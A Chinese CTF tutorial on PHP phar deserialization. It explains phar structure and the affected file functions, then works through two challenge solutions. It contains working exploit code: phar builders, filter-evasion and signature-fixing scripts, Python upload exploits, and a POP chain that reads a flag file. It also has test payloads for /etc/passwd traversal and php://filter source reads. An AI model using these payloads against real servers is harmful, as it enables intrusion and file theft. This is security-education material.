Phar反序列化
一,phar文件结构
1. a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
2. manifest
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
3. the file contents
被压缩文件的内容。
4. signature
签名,放在文件末尾,格式如下:
二,demo测试
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class test{ public $name='phpinfo();'; } $phar=new phar('test.phar'); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();?>"); $obj=new test(); $phar->setMetadata($obj); $phar->addFromString("flag.txt","flag");
$phar->stopBuffering();
|
这样的话就在当前目录下生成了一个test.phar文件(我用的是phpstudy搭建的测试环境)

我们来看一下这个phar文件的内容,对照上面我们了解的phar文件的结构
首先是一个标志
接着mainifest部分,可以明显的看到meta-data是以序列化的形式存储的:

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
| 受影响函数列表 |
|
|
|
| fileatime |
filectime |
file_exists |
file_get_contents |
| file_put_contents |
file |
filegroup |
fopen |
| fileinode |
filemtime |
fileowner |
fileperms |
| is_dir |
is_executable |
is_file |
is_link |
| is_readable |
is_writable |
is_writeable |
parse_ini_file |
| copy |
unlink |
stat |
readfile |
接下来我们来测试用其中一个测试一下
1 2 3 4 5 6 7 8 9 10 11
| class test { public $name = '';
public function __destruct() { eval($this->name); } }
echo file_get_contents('phar://test.phar/flag.txt');
|

也验证了我们刚刚说的
大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| class test { public $name = '';
public function __destruct() { eval($this->name); } } $filename='phar://test.phar/flag.txt';
echo fileatime($filename);
|
不过用其他文件系统函数的话,就会the file contents部分就出现了变化,但是meta-data部分仍然了进行反序列化

三,将phar伪造成其他格式的文件
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class test{ public $name='phpinfo();'; } $phar=new phar('test.phar'); $phar->startBuffering(); $phar->setStub("GIF86a"."<?php __HALT_COMPILER();?>"); $obj=new test(); $phar->setMetadata($obj); $phar->addFromString("flag.txt","flag");
$phar->stopBuffering();
|

四,实战
prize_p1
首先看代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php highlight_file(__FILE__); class getflag { function __destruct() { echo "flag"; } }
class A { public $config; function __destruct() { if ($this->config == 'w') { $data = $_POST[0]; if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) { die("我知道你想干吗,我的建议是不要那样做。"); } file_put_contents("./tmp/a.txt", $data); } else if ($this->config == 'r') { $data = $_POST[0]; if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) { die("我知道你想干吗,我的建议是不要那样做。"); } echo file_get_contents($data); } } } if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) { die("我知道你想干吗,我的建议是不要那样做。"); } unserialize($_GET[0]); throw new Error("那么就从这里开始起航吧");
|
可以上传两个变量,一个post一个get
因为get里面过滤了getflag。我们不能直接get传参序列化数据,直接反序列化触发getflag
我们用的方法就是post上传phar文件,再file_get_contents用phar协议读取(反序列化)
反序列化class getflag ,从而触发__destruct魔术方法拿到flag
我们先来生成phar文件
初步确定phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php highlight_file(__FILE__); class getflag // 定义一个名为 Testobj 的类 { } @unlink('test.phar'); $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $o = new getflag(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();
|
可以看到post里面也过滤了getflag
我们知道生成的phar的metadata的序列化数据是明文,所以只这样肯定是不行的
还有一个思路就是把phar再压缩成压缩包
phar文件打成压缩包(绕过正则)
(gzip bzip2 tar zip 这四个后缀同样也支持phar://读取)
传输进去的就是二进制流乱码 就可以绕过正则匹配
用python脚本上传一下(因为是二进制数据)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import requests import re import gzip url="http://node4.anna.nssctf.cn:28134/"
with open("./1.phar",'rb') as f1: phar_zip=gzip.open("gzip.zip",'wb') phar_zip.writelines(f1) phar_zip.close()
with open("gzip.zip",'rb') as f2: data1={0:f2.read()} param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'} p1 = requests.post(url=url, params=param1,data=data1)
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'} data2={0:"phar://tmp/a.txt"} p2=requests.post(url=url,params=param2,data=data2) flag=re.compile('NSSCTF\{.*?\}').findall(p2.text) print(flag)
|
返回是空
那么问题来了,为啥返回是空呢,按我们之前的思路应该是没问题的
其实是最后一段代码

我们之前测试知道__destruct这个是在代码结束之后才会被执行的,可是到代码最后这段代码抛出异常,我们想要执行的destruct魔术方法就不会被执行
绕过异常方法就是让getflag对象反序列化完成之后提前触发GC机制
我们使用以下的方法
构造序列化数组直接触发GC机制,绕过异常
对phar文件进行处理:
a:2:{i:0;O:7:"getflag":{}i:0;N;} |
强制让对象失去引用,触发 GC 回收 |
1
| a:2:{i:0;O:7:"getflag":{}i:0;N;}
|
怎么理解呢?这是一个数组,反序列化是按照顺序执行的,那么这个Array[0]首先是设置为getflag对象的,然后又将Array[0]赋值为NuLL,那么原来的getflag就没有被引用了,就会被GC机制回收从而触发__destruct方法
a:2:{i:0;O:7:"getflag":{}i:0;N;} 的完整解析:
重新生成phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php highlight_file(__FILE__); class getflag // 定义一个名为 Testobj 的类 { } @unlink('test.phar'); $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $o = new getflag(); $o = array(0=>$o,1=>null); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();
|
修改签名
1
| a:2:{i:0;O:7:"getflag":0:{}i:1;N;}---》a:2:{i:0;O:7:"getflag":0:{}i:0;N;}
|

但是我们一旦更改phar里的内容就要修改它的签名,然后这个phar文件才是完整的
我们用python代码来修改签名
1 2 3 4 5 6
| from hashlib import sha1 f = open('./p12.phar', 'rb').read() s = f[:-28] h = f[-8:] newf = s+sha1(s).digest()+h open('ph2.phar', 'wb').write(newf)
|
python脚本压缩文件,上传,读取,拿flag
重新运行一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import requests import re import gzip
url = "http://node4.anna.nssctf.cn:28577/"
with open("./ph2.phar", 'rb') as f1: phar_zip = gzip.open("gzip.zip", 'wb') phar_zip.writelines(f1) phar_zip.close()
with open("gzip.zip", 'rb') as f2: data1 = {0: f2.read()} param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'} p1 = requests.post(url=url, params=param1, data=data1)
param2 = {0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'} data2 = {0: "phar://tmp/a.txt"} p2 = requests.post(url=url, params=param2, data=data2)
flag = re.compile('NSSCTF\{.*?\}').findall(p2.text) print(flag)
|
[SWPUCTF 2018]SimplePHP
收集信息
先随便上传一个文件侯点击查看文件,发现什么都没有,但是看到url,貌似是一个文件包含漏洞
尝试输入文件名,可以拿到文件源码?/file=index.php
index.php
1
| <?php header("content-type:text/html;charset=utf-8"); include 'base.php'; ?>
|
function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| <?php
include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0);
function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; }
function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } }
function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { } else { if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } } ?>
|
file.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?> <!-- ================= 安全审计标记 ================= --> 1. 【高危】文件包含漏洞: - 第5行:直接使用$_GET['file']作为文件路径 - 第12行:未过滤直接传递给file_exists()和Show类 2. 【中危】类方法风险: - $show->_show()的实现需检查(可能在class.php中): 是否有限制协议(如phar: 是否有目录穿越检查
3. 【安全措施】: - 第4行:open_basedir限制目录访问 - 但可能被phar:
4. 【漏洞利用链】: if(class Show存在__wakeup或__toString等魔术方法) 可能构造反序列化攻击(需结合class.php分析) 5. 【测试POC】: http://target.com/?file=../../etc/passwd # 目录穿越测试 http://target.com/?file=phar://upload/evil.jpg # 反序列化测试 http://target.com/?file=php://filter/convert.base64-encode/resource=config.php # 源码读取
|
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
| <?php
class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } }
class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } }
class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?> <!-- 安全审计要点 --> Test file_get()->get()->__get() Show __toString() C1e4r __destruct()->__construct($name)->name=new Show
|
接下来我们的思路就是构造pop链,来触发魔术方法,触发class.php里面的file_get_contents()来读取f1ag.php的文件内容
构造pop链,生成phar文件,通过上传文件接口进行文件上传
通过file.php/?file=phar://upload/文件名,来使用phar伪协议触发反序列化,读取f1ag.php
文件名的获取

构造pop链,生成.phar文件,由于对上传文件名称做了白名单限制,所以生成的1.phar改名为1.jpg
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php class C1e4r { public $test; public $str;
} class Show { public $source; public $str; } class Test { public $file; public $params; } $a=new C1e4r; $b=new Show; $c=new Test; $a->str=$b; $b->str=['str'=>$c]; $c->params=['source'=>'/var/www/html/f1ag.php']; echo serialize($a);
$phar=new Phar('1.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->setMetadata($a); $phar->addFromString("test.txt","test"); $phar->stopBuffering();
|
访问/upload目录,看文件名
1
| 8a3941bc090af632c1844d7254444bcc.jpg
|
通过file.php/?file=phar://upload/文件名,来使用phar伪协议触发反序列化,拿到flag

Phar反序列化漏洞利用
既然很多函数可以触发phar反序列化,那么接下来就要实际利用该漏洞
Phar反序列化不会调用 weakup 等方法
可以在不调用unserialize()的情况下进行反序列化操作。
漏洞利用条件
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且
:、/、phar等特殊字符没有被过滤